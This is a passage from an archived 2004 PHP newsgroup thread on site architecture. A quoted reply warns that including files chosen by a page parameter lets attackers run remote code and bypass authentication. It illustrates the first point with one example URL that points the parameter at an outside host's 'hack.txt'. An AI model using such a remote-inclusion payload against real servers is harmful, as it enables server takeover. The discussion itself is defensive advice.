

## Re: Design Model Question

**Source:** <http://coding.derkeiler.com/Archive/PHP/comp.lang.php/2004-06/1996.html>

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**Date:** 06/26/04

Date: Sat, 26 Jun 2004 18:22:53 +0100

"Chung Leong" <[chernyshevsky@hotmail.com](mailto:chernyshevsky@hotmail.com)> wrote in message  
news:S7KdnSV5iPDyJEHdRVn-jA@comcast.com...

> "Mike Sutton" <[sutton128@yahoo.com](mailto:sutton128@yahoo.com)> wrote in message

> news:7eb017e9.0406251338.35a2900d@posting.google.com...

>>

>> *The questions are:*

>> *Can anyone provide opinions on advantages/disadvantages to each of*

>> *these models?*

>> *Can anyone provide the correct terminology to discuss these ideas so*

>> *that I can look for more, relevant resources.*

>

> *I was just talking about this in another thread. DON'T USE THE SINGLE  
ENTRY*

> *POINT ARCHITECTURE! It offers no advantages at all, while its  
disadvantages*

> *are numerous. First and foremost, this architecture is one of the leading*

> *causes of security breach in PHP site. By setting \$page to an Internet*

> *address (<http://www.example.net/page=http://128.34.123.34/hack.txt>), I can*

> *run arbitrary code on your server. And I can bypass your authentication*

> *scheme by simply typing in the address to the file that you're including*

> *(<http://www.example.net/AccountIndex.php>).*

>

> *People who use this kind of scheme, I dare say, don't have a strong*

> *programming background. Those who have programmed in C/C++ or other*

> *procedural languages know that you include a file to make additional*

> *functionalities available, not to cause something to occur. Think about*

> *it,*

> *when you use require() you're just stating the file is needed by the*

> *current*

> *script.*

>

> *The proper way to share code between script is to enclose it in functions,*

> *keep these in an separate file, include it where it's needed, then call*

> *the*

> *functions. Or for the sake of convinence, just include it in every*

> *sc*